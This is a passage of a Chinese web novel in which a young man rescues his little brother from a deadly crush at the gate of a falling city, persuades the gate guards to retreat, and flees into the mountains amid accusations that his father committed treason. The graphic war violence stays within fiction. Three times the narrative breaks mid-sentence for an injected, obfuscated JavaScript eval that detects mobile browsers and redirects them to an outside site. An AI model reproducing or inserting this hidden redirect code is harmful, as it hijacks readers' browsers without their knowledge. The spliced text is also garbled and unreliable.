高承翊拉了一下皂雪的缰绳,彻底放慢了速度。 “你问这个干什么?”宋遥道。 高承翊道:“你走吧,扮作难民去别的省,去干什么都行,别跟着我。” “怎么了?没头没尾的,你是想到什么了吗?” 高承翊道:“如果我猜的没错,这后头牵扯的东西通了天,谁知道谁死。” 宋遥指了指他。 高承翊道:“对,我,我全家。所以你不能跟着我。” 宋遥勒马,看着高承翊那透着坚毅的背影,在月色下越来越远,直到消失。 高承翊没想到即使在大敌当前的情况下,派来围堵他的追兵还会这么快。 离抚州城越近,追兵就越多。 马的目标太大,他只能先将皂雪放走。自己一人边躲藏,边往城墙方向移动。 这并非易事,他身上还带着伤。天亮前,为了白天能保持体力,他还找了一处草窝,蛰伏着休息了一段时间。 上午的追兵最多,可到了临近中午,那些人突然之间全部消失了。 当时的高承翊虽有疑惑,但并没有往抚州城破上去想。 下午的未时,才算真的靠近抚州城门。 这时才见到,城中百姓纷纷弃城而逃。城门内外,被挤得水泄不通。 城墙上,士兵们无法维持秩序,还需分出人手,去处理城门前被踩死的尸体。 若不把尸体挖开,尸堆阻拦,后边人会继续把前边人踩死,城门会被尸体堵死,更是一个人都走不出去。 高承翊穿着士兵的衣服,把头盔盖低了些,混入其中,想翻进城中。 城墙的高度对他来说,是可以借助绳索、匕首攀爬的,可城墙下的人太多了,真的翻进去,他也会被踩死。 烽火连天,炮声越来越近,城墙上的士兵们都没时间去惊诧炮火居然离他们这么近。 他们并没有接到任何命令,但他们不能眼睁睁看着百姓们,被堵死在城门前。 只能尽全力去疏散。 高承翊进不了城,焦急无用,眼下能救一个是一个,他转身下城楼,去城门口帮着挖人。 直到一次轮替,他再次上了城墙时,看见有小孩被托着往城门这边送,离近些后,能看清那孩子自己也在奋力的往城墙边爬。 高承翊便也往城墙边靠,想要放下绳索,看能不能把孩子拉上来。 谁料天意如此的巧合,他想找弟弟,弟弟便这样被万民举着朝他这边来了。 越近,就越确定。 他把身体前倾到城墙外头,丢掉了挡脸的头盔,对着城门下大喊:“衡儿!衡儿!” 孩子在嘈杂的人声中,清晰地辨别出了哥哥的声音,他抬头,没有听错! 有士兵前来查看,给他出主意,第一个想到的都是丢绳索。 可绳索会被争抢,到时人群都去抢一根绳子,高濯衡反而有可能会被踩死。 其二,即使他真的抢到了,也有可能在拉上城门的中途,力竭松手,届时跌落下去,基本也无生机。 高承翊便要将绳子捆在自己的腰上,让士兵们帮忙拽着尾端,他则顺城墙爬下去,把弟弟抱住后,再让众人将他拉上去。 看似可行,实则危险更大。 因为到时底下的人,会把他身上的绳索当成一次逃生的机会,那么多人,会生生把他也一同拽下去。 故而这个提议立即被否决了。 那个高承翊素未谋面,也觉得高承翊眼生的守城门将领,脸上糊满了血渍泥浆,大声的斥责着高承翊:“我说不行!” 23. 我只想救出我弟弟 高濯衡才看见哥哥,膝盖下就有人松了手,前边比后边更挤,人人自顾不暇。 他没空再去看城墙上,专注于手脚的爬行。或许是求生本能的直觉,又或许是真的天资聪颖,只看上一眼,他就立即明白,从上边是出不去的,即使城墙上的人是他的哥哥。 如今情形,多耽搁一瞬,都是离死亡更近一步。 城墙上的百夫长一把将高承翊绑在腰上的绳子拽了下来。 高承翊与他抢夺绳索:“把绳子给我,我能爬下去,即使你们不拉我,我也能爬回来!” 他对自己的力量和身手有这份自信,只要绳索和绳结足够结实。 他常抱弟弟或背着弟弟玩儿,高濯衡的重量他清楚,虽现在受了伤,只要衡儿不松手,有这份生死关头爆发出的力量,他肯定能做到。 百夫长将高承翊背身压在城墙上,让他向下看:“看!能看清吧?能数得清这有多少人吗?” “那是我弟弟!”高承翊道。 守城门的百夫长是个中年男人,蓄着胡须,声音粗犷:“他妈的!谁的家人不在下面?你问问他们,啊?” 守城门看似简单,不如上前线打仗的能建功立业,可却是个有油水且轻松的美差,尤其是守抚州城的城门,站岗巡逻,白日里查验进出人畜和货品。 富庶之地,行商就多,行商们想进出方便,少些盘查,就得给他们些好处。 不用上阵杀敌没有性命之忧,不似军营在城外离家太远,他们下值后,能回家吃饭、休息。 故而守城门,是普通军户打破头争抢的好差事。 能来守城门的,家里多少都有些关系人脉,自然大多数都住在城中。 抚州城不止这一个门,可这个门已经是最大的门了,其他城门处只会更糟糕。 将士们一个都没走。 百夫长指着几个士兵:“你问问他们!他们的家人是不是也在城中。我老婆孩子也还在里头呢!能有什么办法?你这样爬下去,不等抱住你弟弟,救会被他们拽下去踩死,甚至是被生生拽断成两节!” 有个靠在旁边休息的士兵道:“兄弟,头儿说的是真的,这招我们刚开始就试过了,所有人都在抢绳子,一个都上不来。” 这时底下的声音慢慢传了上去,他们在喊:“这是高总督家的小公子,让他先出去,给高总督留个后吧!” 高濯衡明显能感觉到托举他的那些手,重新变得有力了起来。 又一声更近的炮声炸响。 他们中绝大多数人都出不去了,可他们现在还活着,往往在死前,人性会展现出它最后的善。 孩子是年轻的,是希望,他还是高总督的儿子,他们不约而同的,开始将未来寄托在高濯衡身上。 让这孩子出去吧,替我们活下去。 高濯衡被举着,他往城门口爬,人群的手就把他往城门口送。 城楼上的将士们也都听见了:「他是高总督家的小公子。」 百夫长掐住高承翊的脸,左右看了两回,别说,是真的像。 百夫长道:“只能从外门想办法,你不能下去。” 这时也有士兵说:“喂,你弟弟钻下去了,他想从城门里挤出去。” 高承翊听后推开百夫长往城楼下跑。 为了让人能多出来些,将士们砸掉了一部分的城墙,可那些砖太厚太硬了,很难砸动。 且城门前是突然汇集起这么多人的,人太多,还越积越多,人少时舍不得炸门,人多后错失了用火药把门炸开的机会。 接着便出现,后边推前边,前边人摔倒站不起来,被踩死。 中间人又被后边人挤压,最前边的因城门太窄,一时走不了那么多,导致中间人前后无路,被生生夹着挤死。 最终尸体堆叠堵住城门的情况。 城门因城墙厚度分为内外两口,城内为入口,城外为出口。出入口之间的距离,有三个成年人那么高,将近17尺(五米多)的距离。 如今能看见的,只有出口。 入口已经被堵死了。 士兵们一刻不歇的从城门里往外拽人。下层几乎都是尸体,上层的是踩着尸体自里爬出的活人。 当然这下层的,在爬进城门时也在上层,只不过一旦被人踩在脚下,就越踩越低,翻不了身,活不下去了。 没时间去处理那些尸体,便将他们清理到一旁,堆叠起来,不至于继续挡着路。 就这区区十七尺,是生死,是奈何桥。 高承翊跪在地上,往外拽着人,有的死有的活,有的还剩一口气。 不是二宝… 这不是二宝… 这个不是二宝… 这个也不是…… 高承翊被鞭子抽,被绣春刀砸头,被灌药时,都没有流泪。 如今泪早已模糊了视线。 他无法说服自己,一个娇生惯养的十岁孩童,能凭自己从这样的地方爬出来。 做到成年男子都无法做到的事。 他耳中回荡着高濯衡在城墙下叫他的那声:“哥!” 他的声音还那么稚嫩,他还没长大。 答应他要带他去骑马,去游历,还没有做到。 再过几日,就是二宝的生辰了,还没想好要送他什么。 今年的长寿面,他还没吃。 高濯衡挤进了城门里,他个子小,顺着缝往里挤着爬。 前边人的脚踩在他的脸上,后边人的脚踩在他的背上。 真疼啊,越往里爬,下面在往上挤,上边在往下压。 就像被两块大石头,夹在中间,背上有千斤重担。 透不过气,又闷又臭。 可他没有放弃,母亲叫他活下去。 他挪动着,挤着,往上钻,将踩在他背上的脚顶下去。 出口处并非完全堵死,随着不时有人或尸体被拽出去,能看见光亮照进来,他就朝着那亮处爬。 除了活下去,他什么都不去想。 哥哥就在外头,他刚刚看见哥哥了。 他要去找哥哥,无论处在什么境地,无论有多难,他要去找哥哥。 下一个… 再一个…… 高承翊不停的往外拖人。有的尸体拖出时已经被压扁,手脚躯干扭曲,脖颈断掉后,往后折叠,后脑勺和背贴在了一起。 这个不是… 这个也不是… 不是… 都不是… 这样的尸体,在战场上高承翊都不曾见过。 这哪是城门口,已然是地狱了。 城门前,哭的何止他一个,他身边的士兵们,都在落泪。 哭这些死去的人,哭他们出不了城的亲人,哭在瞬息之间沦为地狱的抚州城。 好似许久都没有拽出完好无损活着的了。 “里头太闷了,不被踩死,也被闭死了。”有士兵道。 “之前还好些,炮越炸越近,离城门近的都想拼一把,都往里挤。” 士兵问:“怎么办?有援兵来吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17101036|195711||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “不知道…” 不知道… 没人知道… 百夫长看向高承翊,绝望的抹掉滴在眼睛里的汗:“怎么会这样?” 高承翊没回话,还在拽着人,他拽出一个人,他的二宝就多一分生机。 百夫长拽住高承翊的衣领:“我问你话!怎么会这样?” “我不知道…”高承翊推开他,“别挡着我!我弟弟在里边!我要救他出来…我要救他出来!” 百夫长问:“你爹呢?” 高承翊只顾往外拉人。 百夫长一拳砸在他脸上:“我问你,你爹呢?高琰呢?周季修呢?不是说在垣平吗?怎么就突然打到抚州了呢?有军情为何不传?难道打进家了才知道敌情吗?” 高承翊一拳还了回去,他憋了一肚子的火气,他反制住那男人,骑在他身上,往他脸上砸了四五拳。 “我他妈说我不知道!”他盯着那男人的眼睛,“我要是知道,我弟弟就不会在里面!” 士兵们看呆了,也不敢拉架。 高承翊站起:“看什么?别停,还没打来呢!救人!能救一个是一个!” “我不知道…我也想不明白,我不明白,泱泱大国,怎会至如此境地!我想不明白,人命在他们那些人眼里,算什么!” “我只想救出我弟弟,他才十岁!他才十岁!” 他哭喊,但他一刻不停的在往外拽人。 百夫长爬起来,他被揍得鼻青脸肿,鼻血全糊在了胡子上:“操,老子现在不跟你计较,你就求神拜佛,求老子今儿死在这儿,不然,管你爹是谁,老子都跟你没完!” 他声音也带着哭腔:“你至少还看到了你弟弟,我全家呢?我全家呢!” 士兵们无不哽咽。 他们哭,但他们都不曾停下。 就在此时,城门人堆的缝隙中,伸出一只小手。 那手像破土而出的幼苗。 让所有人的眼睛都亮了一下。 高承翊认得!这手他认得! 高濯衡真的透不上气了,虽然今天他不止一次透不上气,可这回好像是真的要死了。 身上好重,他被踩了很多脚,小腿上那下最重,很疼很疼。 胸腔被挤得似乎五脏六腑都压了在一起,心都跳不动了,肋骨的支撑也到了极限,好像马上要啪嗒一声全断了。 他没力气再往外爬了。 太重了… 真的太重了。 身上好疼啊,好累,好想睡觉,睡着了就不会这么疼了吧。 “衡儿!活下去!你一定要出去!去冀州,找你哥哥!听娘亲的话!活下去!” “娘亲…可是…衡儿好疼好疼!衡儿好像真的要死了!” 不可以哭,哭解决不了问题。 高濯衡告诉自己:你要听话!不可以哭!不可以再撒娇,不可以再那么没用! 你要长大了!要勇敢! 高濯衡全身都在颤抖,他继续坚持着,往前蠕动。 然后他听见了哥哥的哭泣声。 “我只想救出我弟弟,他才十岁!他才十岁!” 哥,在哭。 他没听过哥哥哭,没见过哥哥哭。 哥哥一直那么高大,有力气,一直那么爽朗干净,他总是笑的,有着只有他们兄弟俩相处时才会展现的顽皮。 少年策马扬鞭,意气风发,能文能武,什么都难不倒他,他是衡儿最可靠的大哥。 他哭了。 “哥为我…哭了。” 24. 我求你 我不能死在这里,哥在外面等我! 高濯衡用出了他全部的力气,也是最后的力气,朝着那光挤,朝着有哥哥声音的方向挤。 有一条缝隙,他将手伸了出去。 接着他的手就被一只大手握住了。 高承翊握住了弟弟的手,士兵们看见也立即跑来帮忙。 就连百夫长也来了:“别动下面,先拽上头的。不然上面的砸下来,会把他的骨头砸断。” 十几个人,齐心协力,才将小孩儿拖出来。 也正是高濯衡出来的那一刻,城门内的炮声已经近在咫尺了。 百夫长大喊道:“上城墙!准备迎敌!上城墙!” 士兵们听从指挥,背上长刀,拿上铜火铳,全都上了城墙。 这才上去,那边的火炮就丢了过来。 高承翊抱着气若游丝的高濯衡,立马趴下,将高濯衡护在身下。 他抱着头,好像有很多水和泥落在他身上,又好像是突然下起了大雨。 等再没炮声后,他拍掉头上的土睁眼。 这才看清,哪是水和泥,分明是血和肉块 炮轰在城门口,成堆的人被炸上了天。 肢体断开,血落下来,成了红色的雨。 高濯衡也看见了,他只是没力气,还没昏过去。高承翊要来捂他的眼睛。 高濯衡扶住哥哥的手,摇了摇头。 城墙上,百夫长的嘶吼传来:“用火炮!快!” 其实现在抱着弟弟跑,才是该有的反应,可这些士兵,刚刚才帮着他一起将弟弟救出来。 他们是抚州的子弟兵,大敌当前,城已破,他们没有命令,却一刻都没想过弃城而逃。 高承翊道:“二宝,往前跑,躲起来,等哥哥。” 高濯衡抱住他,这里太乱了,他能听见火器发出的声音,还有城那边,受伤后还没死的人发出的哀嚎:“去哪儿都得带着我!” 他站起来:“我跟着你。” 高承翊往城楼上跑,高濯衡虽跑得慢,但一步不离的跟在后面。 他们上了城墙,居高临下,就看见城中水寇们推来的火炮正在装弹。 他们炸墙用的铅块、石块做的实心弹。 其中也掺杂着有火药的开/花弹,且那火炮威力不小,是新东西,不然也不会炸死这么多人。 高承翊眼尖,看见了有水寇背着一个铜制的长管,另装火炮的水寇,从木箱里拿出来一种不同于实心弹和开/花弹的炮弹。 城楼的炮台上,我方也在往下砸着火炮。 这导致底下装弹的速度有些变慢,但有士兵在往城墙下滚去木桶,他们背上还带着能点火的箭矢。 高承翊拽住来回奔跑装填弹药的士兵:“跑!别打了!快跑!” 他沿着城墙跑,叫所有他遇上的士兵逃跑。 守城的兵们几乎没有上过战场的,再加上目前的状况,一看就知打不赢,城里头已经全是水寇了,援兵还没来,或者军营那边根本还不知道水寇突袭抚州城。 谁能料到这样大的一座城,只半天就被他们从来没放在眼里的水寇们打穿了。 他们现在还能作战,是因为百夫长还在命令着他们,是因为抚州城是他们的家。 百夫长坚定的不退,他们所有人都要憋着最后一口气,要血战到底。 可高承翊这样叫他们逃跑,军心难免动摇。 百夫长从炮塔上跳下来,揪住高承翊的衣领:“你干什么?你要跑是你的事,你凭什么叫他们跑?啊!” “打不赢的。”高承翊依旧不停的叫喊着:“快跑!大家快跑!别打了!快跑!” 高濯衡跟着帮忙,去拽往前冲的士兵,把人往下城楼的阶梯上拽。 被小手拽着,更是不想再往前了。 高承翊和百夫长扭打在一起,他此时心志坚定,占了上风,将百夫长推开,一脚踢下了几阶台阶:“桶里是猛火油。他们背着长管是火油管。” 百夫长还没站起来,双目赤红地瞪着他:“懦夫!你不配做高琰的儿子。” “无论你觉得配或不配,我就是高琰的儿子。”高承翊道,“下命令,撤退。” “凭什么?高琰的儿子是什么官儿,能指挥军队?就算你现在是总兵,是兵部尚书,是天王老子,大敌当前,我都要打!”百夫长吼道,“杀一个赚一个,艹他娘的猴子,杀了我们…这么多人!”他说到此处,铁骨都难自抑发出哭腔,“你让我们跑?跑了,九泉之下,有何颜面见抚州父老?” 士兵们无不动容,他们要奋战,要杀敌,要报仇,要用生命去殉这座城,殉这城中百姓。 高承翊上前又是一脚,直接把百夫长踢下去一大半。 “我不是官,但我不能看着你带着他们送死!”高承翊道,“撤!城守不住了,只有人活着,往后才能有报仇的一天!” 一颗重弹被抛上城墙,那弹外壳破碎,流出黑色的液体,发出刺鼻的气味。 这会儿不止高承翊,所有人都发觉是猛火油。 一般守城和攻城,是不会用猛火油的。 因为这东西一旦烧起来,烟雾都带着毒气,敌我不分,不好控制。 砖墙可能会烧塌,木质品、铁器、火器,烧了就都无法再使用了。铁器和火器都是很昂贵的,即使在军中也需反复利用。 且火会烧毁城中房屋。攻城战场地小,火势蔓延到己方,会烧伤己方士兵和装备。 这样即使赢了,损失也非常大。烧掉的工事还需要重新修。 可水寇们是来报仇的,他们才不会管那么多,从炼狱爬出的恶魔们,在这座城中肆意的挥洒着他们的愤怒和恨意。 高承翊说‘往后’,将士们都不去想‘往后’。 “我们是守城的士兵!士兵不能退!”百夫长当然明白,可军纪严明,他们这些人的命,就是和抚州城绑在一起的。 或许这种大规模城破的败逃,不一定会杀逃兵,会将他们再次整编,上战场。 但有过这一次的败逃记案,他们往后的前程晋升都无望了。 如今家人大概率死在了城里,不如战死,好落个英名,无愧于城中百姓。 若家人有幸还活着,到时能领一份朝廷的抚恤。 高承翊喊道:“别傻了!跑!命才是最重要的!” 他抱拽着两个士兵,拖着他们下城墙,走到一半,还拽着百夫长:“走吧,下命令!叫他们撤!叫他们撤退!” 士兵挣脱开他,还要再往上。 高承翊回望,有一个开/花弹的弹片恰好飞来,割掉了那士兵的半个头。 血就洒在高承翊头顶,高濯衡此时已经躲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17101037|195711||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去台阶下了,可再还不走,那里也不安全。 另一个士兵被吓得坐在了地上。他今天见到了许多袍泽死在他身边,从上城墙的那刻起,就一直在死人。可这样彻底的被淋了一身热血的死法,还是第一次。 百夫长爬起来,要将他拎回去:“孬种!站起来!装弹!” 高濯衡很喜欢哥哥的长相,眼睛的长度,鼻子的高度,嘴巴的大小,都是恰到好处的,雅正的英俊。姿态也正,做事周到,再挑剔的人,都找不出哥哥一点儿错处。 他总是那么干净,即使不熏香,也有好闻的味道。 这样的哥哥,今天脏透了。 浑身的血污,脸上也糊满了,就连五官都不大看得清。 散发着血腥气,他吼叫,挥拳,用脚踢人,拽着人时手上、额前、脖颈上的青筋明显的跳突着。 高濯衡看着,他明白,哥哥也很难,他面对这样的变故,也不知该怎样做。 他想做的,也只是尽可能的,让他看见的人,多活一个。 高濯衡看见哥哥,单膝跪了下去。 对着百夫长。 接着是双膝全部跪地,他磕了头。 他说:“我求你。” 那是一个把头全部栽在地上的姿势,高承翊的眼泪从鼻尖滴落到地上:“退吧,求你,退吧!别再送死了!” 总督的儿子是带有特权的,即使高承翊从来不想使用这份特权,但抚州城中的人,守备军营里的将士,都会高看他一眼。 如今,他跪在一个百夫长面前,声嘶力竭:“我求你,下令,撤退。” 高濯衡跑过去,跪在了哥哥旁边。 哥哥磕一个头,他也磕一个。 高承翊能看见百夫长眼眶里的泪,百夫长也能看见他的。 他何尝不知高承翊的心,又何尝不明白他说的有道理。 高承翊举三指发誓:“今日我高承翊,对着抚州城起誓。” 高濯衡也学着哥哥的样子,举起三指。 “今日弃城苟活,实属无奈之举,我高承翊永记此仇!不报此仇,誓不为人!” 百夫长双手扶住高承翊的肩膀:“如何报仇?你又能如何?” 却听一旁小小的孩子,用细小的声音,稳稳的说出:“活下去,才能见到以后。”他抬头,告诉百夫长,“叔叔,我们一起活下去。总有一天,我们要回来,挺直腰板,堂堂正正回家。” 接着,两人便听一声震破天响的:“撤!!!” 高承翊站起来,抱起弟弟:“跟着我跑!快!快!” 男人嘶吼着:“撤!!!” 听见的士兵们,便都高喊着撤退,而后拿起能带在身上的兵器,往城下跑去。 此时,猛火油已经烧了上来。 他们背后是快速蔓延的火舌,和高高飘起的浓密黑烟。 还有不断从火墙后投来的炮弹。 “撤退!!!” ………… ………… “撤退!!!” 高承翊跑在前面,他熟悉路,知道该往哪边躲:“跟着我跑!” 跑下城楼后,便见不远处有人骑着一匹马,还有一匹黑马跟着他,往这边奔来。 高承翊看仔细了,是皂雪。 而那骑着马的人,是宋遥,他带着马来了。 25. 捡回来半条命 高承翊抱着弟弟带着人,朝着宋遥跑过去。 高濯衡认得自家的马,叫了声:“皂雪!” 马跑得快,不过多时就跑到了眼前。 宋遥看着黑烟弥漫熊熊燃起的城墙,捂着口鼻,惊讶不已:“怎么回事?” “没时间说了。”他也没问宋遥怎么会带着皂雪在此,就把弟弟丢给他,又将两个受伤的士兵搬上皂雪的马背。 说了个大致的方向,交代宋遥道:“你先往北边的山林里跑,找个隐秘的地方等我,我带着他们跑。” 宋遥看着他身后跟着的人,全是灰头土脸的士兵。 高承翊道:“别愣着了,抚州城破了,现在最要紧的是逃命。” 宋遥问:“那你们呢?” “火墙烧起来了,水寇们也不可能跨过火墙追过来,你帮我照顾好我弟弟。”高承翊回头,还有跑出来的士兵,在往这边聚集,“我不能丢下他们,我会去找你的。” 百夫长在数人:“五十、五十一…” 他们本就没多少人,现在更是不剩几个了。 “不回营吗?”有人问。 按道理,是要找大部队汇合的。 高承翊道:“静观其变,谋定后动。好不容易逃出来保住的命,不能再交到那些人手里。” 百夫长问:“什么意思?” 高承翊道:“我不想当糊涂鬼,你问我,我不知道,所以在知道之前,我还不想死。我也不想你们当糊涂鬼。” 抚州城里的百姓,到死都不知道他们为什么会死,为什么水寇会突然出现在抚州。 为什么高总督不在。 为什么我军没有丝毫还手的能力。 援兵在哪里?军队在哪里? 敌军来的太过突然,至少有三分之二的人,没有时间逃离。逃离的那三分之一,或许也有一半死在了逃命的路上。 百夫长道:“说清楚!” 高濯衡看哥哥皱着眉,用手臂上的衣料擦了把脸:“军中传我父亲通敌,我不相信。他们不再信任我父亲,我亦也不再信他们。” 百夫长:“他们是谁?” 高承翊道:“朝廷,皇帝。” 宋遥调转马头,带着人往山野中躲藏。 高承翊最后看了一眼城墙:“走吧,有熟悉这块儿的兄弟吗?” 士兵们互相搀扶着,有人站出来说:“我知道一些。” “我也。” “我也往那后边去过。” “我画过这边的地形图。” 高承翊看向那个士兵。 他自报姓名:“我叫张廷皓,刚来的时候,营里要演练布防和山地战,划的位置就是城门外二十里还有那边的几座山。当时还做了地形沙盘。” 张廷皓想了想:“是有地方躲藏扎营的,只是我们没有粮食。” 百夫长道:“先稍歇下再说之后的事吧。” 高承翊点头:“你带路。” “刚骑马走的呢?”张廷之问。 高承翊是叫宋遥走的,没想到他居然这么快找来了,还带着皂雪。 “你不用担心他,他是个一点就通的聪明人。”虽相处时日无多,但这点毋庸置疑,“到了隐秘的地方,会躲起来等我们,我的马也会出来找我。” 高承翊和百夫长清点完人数。 “加上我们两个,一共一百三十人。” 一队人,脚步不停,高承翊问:“还未请问尊驾姓名。” “孔详。”百夫长道:“不是吉祥,是详情的祥。” 高承翊点头:“好,我记住了。” “你呢?” “高承翊。”高承翊道,“有一些难写,等会儿我用树枝写给你看。” “文绉绉的名字。”孔详道,“记起来了,你爹是进士出身。” 高承翊没再搭话,他这会儿背上和头上的伤口,开始疼了。 大约小半个时辰,他们走进了有密林掩护的山中,孔详才又开口道:“别的我也不清楚,但…你爹绝不会通敌。” 高承翊侧目看着孔详。 孔祥道:“我也去过前线,那时候我们一个据点才两三百人。没人敢打,可他一个书生,穿着战甲,冲在最前边。大伙儿都在背地里笑他想升官儿想疯了。” “这样一个,把权势、名声看得比命都重的人,怎么可能把脸面丢在地下,去通敌?”孔详道,“他已是二品大元,在两江说一不二,没人比他官更大了,他通敌?图什么?” 孔详啧了声:“我都能想通的事情,皇上,内阁那些人,想不明白?” 高承翊叹了口气,他这会儿不仅伤口很疼,腿还发软。 太阳已经快下山了,他前几天被关着睡不着,昨晚逃跑,奔波也没睡,这会儿眼皮子打架,累得要命。 孔详道:“你怎么不说话?刚刚不是很能说吗?还说不报仇,誓不为人。通敌是要杀头的,抚州城死了那么多人,如果皇上把罪责全放在你爹头上,那你家是要诛九族,不,诛十族的。你都这样了,刚刚还给我扯留着命报仇?” 孔详觉得他们被这小子给坑了。稍微用脑子想一想便知,无论高琰通敌是真是假,现在抚州城破,就必须让「高琰通敌」这件事成真。 要有个人顶上这份罪,不然没法向天下百姓交代。 他们这些人,刚刚死在城墙上,是英勇殉职。 如今跟着高承翊跑出来,就成了通敌败兵,败兵还通敌,那就不算是个人了。 孔详刚捡回条命,这会儿明白过来,命只捡了一半,还有一半在阎王殿里。 他烦的要命,就又瞪高承翊,他三十有七,比高承翊大了足足二十岁,他家里有妻儿,儿子今年也十三了。 他看高承翊,就跟看个毛头小子似的。 看他满身血,满身泥的,又觉不是那么气了。 他叹了口气,算了,半条命就半条命吧。他看了眼天,猛火油烧出的黑烟,把天遮了一大半。 这样烧下去,半座城都得给烧了。 都没了,老婆孩子,父母,他的家,都没了。活了半辈子,半天之内,只剩这半条命。 他想起刚刚高承翊说:人命在他们那些人眼里,算什么? 他道:“我们这些人,真就这么不值钱了?死了就死了?” 高承翊已经有些晕了,但还是回答他:“我记着。” 孔详苦笑:“你记着?” “死了的人,记得名字的,待我有时间,都拿本记下。”高承翊道。 孔详问:“干什么?” “这是件天大的事,可现在咱们头顶的这片天,会用尽一切办法,把这件事压下去。他不愿百年后被人在史书上,记上这一笔。”高承翊道,“炮没打在他身上,他是不知道疼的。我们这些挨了炮,疼了的,就得记着疼。” 孔详听了这话,这才恍然,他刚刚一心赴死,是有多愚蠢。 谁会在意他的死活呢?炮没打在金銮殿呢。 命是他自己的,去他妈的‘英勇殉职’。 孔祥大声道:“弟兄们,听好了!咱们这些人,今儿从死人堆里爬出来,如今还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17101038|195711||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能活着,就一定得活下去,不能想着死!就算只剩咱们一个,也得活下去。” 有人问:“头儿,咱们以后还能回抚州吗?” “是啊,城都被烧了。” “朝廷会派兵收复失地吧?到时候咱们怎办?” 是啊,他们总不能一辈子躲在山里吧。 “不仁之君,我看他日子也不长。” 众人齐齐望向说这话的张廷皓。 张廷皓道:“咱们这叫败逃,朝廷收回了抚州后,就会找逃兵清算。” 有士兵道:“可刚刚那样的状况,不逃,就是死路一条啊。” 孔详道:“事情还没到那一步,走一步算一步吧。” 张廷皓点头:“高公子说的对,静观其变,谋定后动。今日不死,代表天不亡我,咱们总能有一条生路。” 山路不好走,高承翊一脚踏空,往前栽了下去。 幸好孔详眼疾手快,把他捞了回来。 “高承翊!”他叫道。 几个兵围上来看情况。 见他呼吸均匀,却静闭着眼睛。 “晕倒了?” 孔详道:“不像,倒像是睡着了。” 就这样的状况,突然有人笑了出来。 是在笑高承翊走路都能睡着,便也有人跟着笑了几声。 都很小,很短。 笑完后,又都不住唏嘘。 他肯定是太累了。 袍泽之间,一场历经生死的战役下来,就成了过命的交情。 无论他是否是高琰的儿子,也无论高琰是否通敌,刚刚那个在城墙上,跪地求他们撤退的,指手向城墙发誓的,是面前的这个年轻人。 他们同经患难,今后也将绑在一起,风雨同舟。 孔详背起了高承翊,继续往前走。 大约是天黑时,他们和宋遥碰了头。 高濯衡跑上前去看哥哥,孔详告诉他:“你哥睡了。” 大家伙都找地方坐着休息,身上有干粮袋的,还能有半个饼充饥。 宋遥聪明,顺了一马背的粮食。 拿出来分给大家,还有人结伴去河边打水。 逃出城后的第一晚,还不错,至少能填饱肚子。 高承翊是在他们吃饭时醒过来的,他们没敢点火,夜里生火太引人注目了,林子里是真的黑,高承翊睁大了眼睛,才勉强看清趴在他腿上的高濯衡,还有坐在他旁边,把背给他当靠背的孔详。 “我睡了多久?”他问。 孔详道:“没多久,这才刚入夜。” 那边传来张廷皓的声音:“这里是一处高地,两边是山谷,我们轮流放哨,远处若有人过来,是能看得见的。” 高承翊问:“有遇上逃出来的百姓吗?” 张廷皓道:“百姓们往北边的城里逃,不会进山。不过,等火灭了,水寇会不会来搜山,那就说不准了。” 宋遥刚刚已经打听了抚州城的情况。 但其实,这里的人,都不清楚实情。只是把自己经历的事,告诉了宋遥。 宋遥道:“你走之后,我真没地方去,带着马还要躲追兵,我绕了不少路,进林子后,遇上了你的马。” 他思来想去还是决定去城里看看情况。 结果还没到呢,就听着炮响。 看到城里冒烟起火,他打算带着马跑,皂雪却一个劲儿的往前冲,他只好也跟着,走近后才认出往外跑的兵里,有高承翊。 高承翊问高濯衡:“衡儿,母亲呢?在城门口时,她也跟你一起吗?” 26. 还能再往上打? 高濯衡将他和赵蓉在城内所经之事详细告诉了高承翊。 山中夜里安静,四周只有虫鸟的鸣叫声。只要不是离得特别远,都能听见高濯衡的声音。 十岁的孩子声音十分稚嫩,今日又突遇变故,他说话时没什么力气,嗓子干哑,可却说的明白清楚,并且全程都没有哭。 “人太多了,娘亲过不来。”高濯衡道,“夏辛…也没回来。” 他说到这里,终是忍不住有一丝颤抖。 夜里黑,高承翊伸手探过去,摸到一截冰凉的脖颈,低低的垂着。 他将二宝拥入怀中,良久。 即使他也心绪混乱,可还是希望用这个拥抱来安抚幼弟。 “哥。”高濯衡叫了他一声,“其实…如果我们不从大门走,肯定还有小路对吧?娘亲他们,会不会从小路逃出来呢?” 当然有小路,抚州无战事,不是边防区!无需严防死守。更是贸易通商最胜之地,城墙没有围死,到处都有小路,甚至还有行商为了逃脱盘查、避税,偷偷挖出的小路。 他们挖,官府堵,但屡禁不止。 